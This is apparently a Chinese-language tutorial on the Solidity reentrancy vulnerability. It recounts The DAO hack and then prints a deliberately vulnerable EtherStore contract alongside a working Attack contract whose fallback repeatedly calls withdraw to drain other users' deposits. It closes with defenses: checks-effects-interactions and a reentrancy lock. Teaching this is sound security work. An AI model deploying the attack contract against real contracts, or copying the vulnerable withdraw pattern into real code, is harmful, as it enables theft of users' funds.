重入漏洞(2022-11-21)
历史
重入漏洞有一个案例,2016 年就因为 The DAO 事件而造成了以太坊的硬分叉。 6月17日,黑客利用The DAO代码里的一个递归漏洞,不停地从The DAO 资金池里分离资产;随后,黑客利用了The DAO的第二个漏洞,避免分离后的资产被销毁。
如果是正常情况,The DAO的资产被分离之后,就会被销毁。 但是,黑客在调用结束前,把盗来的The DAO资产转移到了其他账户,避免了被销毁。
如此熟悉The DAO代码与机制的人,全世界或许不超过100个。黑客利用这两个漏洞,进行了两百多次攻击,总共盗走了360万的以太坊,超过了该项目筹集的以太坊总数目的三分之一。
The DAO项目筹集的以太数目差不多占到当时以太坊总量的14%,这个数量实在是太大了。如果The DAO出了什么事,整个以太坊网络都会遭殃,更不要说以太坊基金会也参与了The DAO项目。
Slock.it的联合创始人兼首席技术官Christoph Jentzsch曾撰文回忆了The DAO事件,在文末,他总结了他们学到的教训:
1、智能合约的安全问题还需要通过实践来改进,这个领域还处于早期阶段。 不用说,这个行业才刚刚起步,有太多的东西需要发展,事情得一步一步来。
2、对于未知事物要时刻保持警惕。 现在已经有不少安全方面的工具可用,我们团队也知道很多攻击手段,问题就在于,编写The DAO代码的时候没人意识到这点。
3、以太坊的工具还不成熟。 格式证明验证工具,在当时还没有开发出来。随着The DAO事件的出现,促进了这些安全工具的开发。
4、去中心化系统的治理和投票机制需要改进。 提交意见来指导去中心化软件的工具还没有开发出来,而中心化的论坛,比如Reddit,并不适合去中心化系统。
5、逐步发布产品。 The DAO在发布的时候应该更谨慎一些,逐步的推出。类似的项目在推出的时候保留部分的中心化,逐步去中心化。
6、复杂性最小化。 The DAO的代码有663行,根据统计数据,每1000行代码就会有15-50个Bug,所以,智能合约代码要尽可能简单。
重入漏洞成立的条件
- 合约调用带有足够的gas
- 有转账功能(payable)
- 状态变量在重入函数调用之后
概念
可以认为合约中所有的外部调用都是不安全的,都有可能存在重入漏洞。
漏洞原理
-
当攻击者调用了在函数内部使用了.call.value()()转账的转账函数时,call.value()()会触发攻击者合约中的被其改写过了的fallback()函数,其内部可再次调用转账函数,从而不断从漏洞合约递归转账到攻击者合约。
-
并且转账函数是在call.value()()转账操作之后,才修改漏洞合约中余额的状态变量。(注意顺序)这两者共同导致了该漏洞的产生。
例如:如果外部调用的目标是一个攻击者可以控制的恶意的合约,那么当被攻击的合约在调用恶意合约的时候,攻击者可以执行恶意的逻辑然后再重新进入到被攻击合约的内部,通过这样的方式来发起一笔非预期的外部调用,从而影响被攻击合约正常的执行逻辑。
代码
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.3;
contract EtherStore {
mapping(address => uint) public balances;
function deposit() public payable {
balances[msg.sender] += msg.value;
}
function withdraw() public {
uint bal = balances[msg.sender];
require(bal > 0);
(bool sent, ) = msg.sender.call{value: bal}("");
require(sent, "Failed to send Ether");
balances[msg.sender] = 0;
}
// Helper function to check the balance of this contract
function getBalance() public view returns (uint) {
return address(this).balance;
}
}
漏洞分析
withdraw()
方法里有一个msg.sender.call{value:bal}("")
,可以认为这是不安全的一个点,因为合约中任何外部调用都是不安全的,且合约在接收以太的时候会触发fallback
函数执行相应的逻辑,这是一种隐藏的外部调用。- 可以看到,把余额
balances[msg.sender]
归为0是在转账之后才进行的,这可太太太dangerous了。在转账外部调用的时候,攻击者有可能会构造一个恶意的逻辑合约在合约执行balance[msg.sender]=0
之前一直循环调用 withdraw 函数一直提币从而将合约账户清空。
攻击合约
contract Attack {
EtherStore public etherStore;
constructor(address _etherStoreAddress) {
etherStore = EtherStore(_etherStoreAddress);
}
// Fallback is called when EtherStore sends Ether to this contract.
fallback() external payable {
if (address(etherStore).balance >= 1 ether) {
etherStore.withdraw();
}
}
function attack() external payable {
require(msg.value >= 1 ether);
etherStore.deposit{value: 1 ether}();
etherStore.withdraw();
}
// Helper function to check the balance of this contract
function getBalance() public view returns (uint) {
return address(this).balance;
}
}
分析合约首先引入攻击场景。引用三个角色,分别为:
-
用户:Alice,Bob
-
攻击者:Eve
- 部署 EtherStore 合约;
- 用户 1(Alice)和用户 2(Bob)都分别将 1 个以太币充值到 EtherStore 合约中;
- 攻击者 Eve 部署 Attack 合约时传入 EtherStore 合约的地址;
- 攻击者 Eve 调用 Attack.attack 函数,Attack.attack 又调用 EtherStore.deposit 函数,充值 1 个以太币到 EtherStore 合约中,此时 EtherStore 合约中共有 3 个以太,分别为 Alice、Bob 的 2 个以太和攻击者 Eve 刚刚充值进去的 1 个以太。然后 Attack.attack 又调用 EtherStore.withdraw 函数将自己刚刚充值的以太取出,此时 EtherStore 合约中就只剩下 Alice、Bob 的 2 个以太了;
- 当 Attack.attack 调用 EtherStore.withdraw 提取了先前 Eve 充值的 1 个以太时会触发 Attack.fallback 函数。这时只要 EtherStore 合约中的以太大于或等于 1 Attack.fallback 就会一直调用。EtherStore.withdraw 函数将 EtherStore 合约中的以太提取到 Attack 合约中,直到 EtherStore 合约中的以太小于 1 。这样攻击者 Eve 会得到 EtherStore 合约中剩下的 2 个以太币(Alice、Bob 充值的两枚以太币)。
函数调用流程图:
知识点
solidity call()函数
call()是一个底层的接口,用来向一个合约发送消息。函数支持传入任意类型的任意参数,并将参数打包成32字节,相互拼接后向合约发送这段数据。
深度解析可以看:www.jianshu.com/p/fd5075ff0…
回退函数fallback()
智能合约中可以有唯一的一个未命名函数,成为fallback函数。该函数不能有实参,不能返回任何值。Solidity语言中关于回退函数的定义:
回退函数是一个不接受任何参数也不返回任何值的特殊函数;
如果在对合约的调用中,没有其它函数与给定的函数标识符匹配时,回退函数会被调用;
每当合约接收到以太币,且没有 receive 函数时,回退函数会被调用;
一个合约中最多可以有一个回退函数。
payable标识的函数
函数增加上payable标识,即可接收ether,并且会把ether存储在当前合约。
经验
- 写代码时需要遵循先判断,后写入变量,再进行外部调用的编码规范(Checks-Effects-Interactions);
- 加入防重入锁。
示例代码:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.3;
contract ReEntrancyGuard {
bool internal locked;
modifier noReentrant() {
require(!locked, "No re-entrancy");
locked = true;
_;
locked = false;
}
}